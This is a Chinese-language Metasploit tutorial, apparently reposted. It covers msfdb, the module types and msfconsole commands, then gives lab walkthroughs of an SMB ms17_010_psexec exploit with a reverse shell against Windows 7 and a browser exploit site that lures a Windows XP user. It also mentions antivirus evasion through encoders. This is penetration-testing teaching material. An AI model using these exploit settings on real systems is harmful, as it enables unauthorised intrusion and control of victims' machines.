MSF——基本使用和Exploit模塊(一)


MSF系列:

MSF——基本使用和Exploit模塊(一)

MSF——Payload模塊(二)

MSF——Meterpreter(三)

MSF——信息收集(四)

MSF——Metasploit Framework

目前最流行、最強大、最具擴展性的滲透測試平台軟件

2003年由HD More發布第一版,2007年用ruby語言重寫,MSF默認集成在Kali Linux之中

Kali左側有MSF的快捷方式,可以直接點擊使用,也可以在終端輸入msfconsole啟動MSF

msfdb

用來管理MSF的數據庫的命令

msfdb init     # start and initialize the database
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

MSF架構——技術功能模塊

MSF默認存放模塊的目錄如下

/usr/share/metasploit-framework/modules/

MSF有6個模塊,分別對上面目錄下的6個子文件夾:

auxiliary

負責執行信息收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模塊

exploits

利用系統漏洞進行攻擊的動作,此模塊對應每一個具體漏洞的攻擊方法(主動、被動) 

payloads

成功exploit之后,真正在目標系統執行的代碼或指令。分為3種類型的payload,分別是single、stages和stagers。shellcode是特殊的payload,用於拿shell。

  • single:all-in-one。完整的payload,這些payload都是一體化的,不需要依賴外部的庫和包。
  • stagers:目標計算機內存有限時,先傳輸一個較小的payload用於建立連接
  • stages:利用stagers建立的連接下載后續payload 

encoders

對payload進行加密,躲避AntiVirus檢查的模塊

nops

提高payload穩定性及維持大小。在滲透攻擊構造惡意數據緩沖區時,常常要在真正要執行的Shellcode之前添加一段空指令區, 這樣當觸發滲透攻擊后跳轉執行ShellCode時,有一個較大的安全着陸區,從而避免受到內存 地址隨機化、返回地址計算偏差等原因造成的ShellCode執行失敗,提高滲透攻擊的可靠性。

post

后期滲透模塊。在取得目標系統遠程控制權后,進行一系列的后滲透攻擊動作,如獲取敏感信息、跳板攻擊等操作 

基本使用

Kali中更新MSF

apt update
apt install metasploit-framework

msfconsole

控制台命令支持TAB補全,支持外部命令的執行(系統命令)

  • help或?
    • 顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。
  • connect
    • 可以理解成MSF中的nc命令,可以使用connect -h查看詳細用法。
    • connect [options] <host> <port>
  • show
    • 用show命令查看msf提供的資源。在根目錄下執行的話,由於有些模塊資源比較多,需要執行show命令要較長的時間
    • show exploits:查看可以使用的exploit
    • 除了exploits,還支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模塊后才能使用,比如給show targets。
  • search
    • 搜索模塊
    • 簡單搜索:seach ms17_010
    • 多條件搜索縮小范圍:search name:mysql type:exploit platform:linux
  • info
    • 查看模塊的信息
    • info <module name> 
    • 如果用use使用了一個模塊,直接輸入info即可查看
  • use
    • search找到模塊后,用use使用模塊
    • use exploit/windows/smb/ms08_067_netapi
    • 用use使用一個模塊后,可以使用 show options查看我們需要配置的選項、使用show targets選擇目標主機系統、使用show payloads選擇payload、使用show advanced查看高級參數、使用show evasion查看用來做混淆、逃避的模塊。
    • set/setg
      • 設置參數,比如要滲透的主機IP、payload等。我們可以用show missing查看沒有設置的參數
      • setg是設置全局變量,避免每個模塊都要輸入相同的參數
    • unset/unsetg:
      • 取消設置參數。unsetg是取消設置的全局變量
    • save
      • 設置的參數在下一次啟動的時候不會生效,可以用save保存我們使用過程的設置。
    • check
      • 檢查目標是否真的存在這個漏洞,大部分模塊沒有check功能
    • back
      • 回到msfconsole根目錄
  • run或exploit
    • 開始使用模塊
    • exploit -j:以后台的方式運行
  • sessions
    • 查看當前已經建立的sessions,說明已經拿到了shell
    • sessions -i id 可以進入一個session交互
  • load/unload
    • 調用外部的掃描命令,比如openvas
    •  

  • loadpath
    • 加載自己的模塊 
  • route
    • 添加一條路由。比如發往某個子網的流量都通過攻陷的機器發送。

msf數據庫相關

db_status

  • 查看MSF有沒有連接上后台數據庫。如果沒有連上數據庫,在終端輸入msfdb start后再啟動MSF。沒有連接上數據庫MSF也是可以使用的,只是連接上了的話,我們滲透過程中獲取的一些信息可以保存下來,比如目標機器的賬號密碼信息等。

db_rebuild_cache

  • 這個命令將所有模塊信息緩存到數據庫中,通過數據庫檢索效率就高很多了。

db_disconnect

  • 斷開數據庫連接。

db_connect

  • msf默認連上postgresql的msf數據庫。可以用db_connect連接我們指定的數據庫。如果要使用配置文件進行連接,默認的數據庫配置文件為/usr/share/metasploit-framework/config/database.yml,可以參考這個文件進行編寫。

db_nmap

  • 集成在msf中的namp掃描命令。不同的是db_nmap掃描的結果會自動保存到數據庫中。
  • 可以輸入hosts查看掃描到的主機信息
  • 如果數據多,可以用 hosts IP 進行過濾;hosts -u 查看up狀態的機器;使用  hosts -c 列名[,列名]  指定要看的列;使用 hosts -S 進行搜索,比如hosts -S windows。
  • 輸入services可以查看主機開放的端口情況

creds:

  • 查看掃描出來的密碼信息

vulns:

  • 查看掃描出來的漏洞信息

loot

  • 有些賬號密碼我們可能沒有獲取到明文信息,可是經過加密的hash值,可以用這個顯示

db_export/db_import

  • 數據庫的導入和導出
  • db_export -f /root/msfbak.xml
  • nmap導出的也可以導入到msf中
  • nmap -A 192.168.1.113 -oX nmap.xml     =>     db_import -f /root/nmap.xml

 Exploit模塊

分為Active Exploit和Passive Exploit

Active Exploit

目標提供了某種服務,服務存在漏洞

  • use exploit/windows/smb/ms17_010_psexec
  • set RHOST 192.168.1.100
  • set PAYLOAD windows/shell/reverse_tcp
  • set LHOST 192.168.1.1
  • set LPORT 4444
  • set SMBUSER user1
  • set SMBPASS pass1
  • exploit

Passive Exploit

被攻擊者通常不開放端口或開放端口上的服務沒有漏洞,漏洞存在於受害者機器上的客戶端軟件上。客戶端需要訪問某些遠程服務器上的服務,當它訪問的時候,當在服務器上放置了漏洞利用代碼,由於客戶端程序存在漏洞,服務器也會將這些漏洞利用代碼作為響應報文返回給客戶端,造成客戶端漏洞被利用。

  • use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
  • set URIPATH /
  • set PAYLOAD windows/shell/reverse_tcp
  • set LHOST 192.168.1.1
  • set PORT 4444
  • exploit 

Active Exploit演示

實驗機器

  • 受害者:Windows 7 旗艦版 6.1.7601 Service Pack 1 Build 7601,關閉Windows7防火牆。IP地址為192.168.171.133
  • 攻擊者:Kali 4.18.0。IP地址為192.168.171.129

Kali上啟動MSF,可以先啟動postgresql數據庫,防止后面MSF連不上數據庫

service postgresql start

我們利用exploit/windows/smb/ms17_010_psexec進行攻擊,由於它是基於SMB協議的,我們需要知道目標系統的一個用戶賬號和密碼,適合在已經知道目標系統賬號密碼並開放SMB端口的情況下進行攻擊。

然后設置受害者的IP地址,賬號和密碼,並設置payload為windows/shell/reverse_tcp。這是一個反彈連接,我們還需要設置目標反彈連接時的IP地址和端口。

  然后輸入exploit執行,可以看到已經創建了一個session

 

通過session -l可以查看已經創建的會話

根據上面的Id,我們可以sessions -i 1進入這個shell

查看一下目標的機器IP

可以看到上面有很多亂碼,在Kali的終端中,我們可以設置shell中字符的編碼

 這時候就不會是亂碼了 

Passive Exploit演示

實驗機器

  • 受害者:Windows XP SP2 professional。IP地址為192.168.171.135
  • 攻擊者:Kali 4.18.0。IP地址為192.168.171.129

打開XP的防火牆

 

這時候用Active的方式進行攻擊不會成功,采用Passive方式,構造一個鏈接,誘使被害者連接,利用瀏覽器的漏洞。

我們要偽造一個網站,誘使受害者攻擊。SRVHOST可以指定為本機的IP地址,我們也可以打開SSL和設置SSL的證書,迷惑有安全意識的用戶。

URIPATH是訪問的URL地址,可以手動指定,比如192.168.171.129/service,這里我們默認設置為根目錄即可。

 然后輸入exploit

它不會主動向受害者的機器發送利用代碼,而是偽造了一個存在漏洞利用代碼的WEB站點,這個站點等待IE版本存在漏洞的用戶去訪問它,將exploit注入到瀏覽器進程中,利用瀏覽器漏洞執行payload

我們在XP機器上用IE瀏覽器訪問這個URL

Kali上已經有了一個sessions,進入這個sessions

 輸入以下命令讓XP機器關機 

shutdown -s -f -t 0

在XP上就會看到機器正在關機

 

總結

對開放的服務器一般使用Active的方式,對客戶端程序的攻擊一般使用Passive的方式

 

參考資料

https://www.freebuf.com/column/194412.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM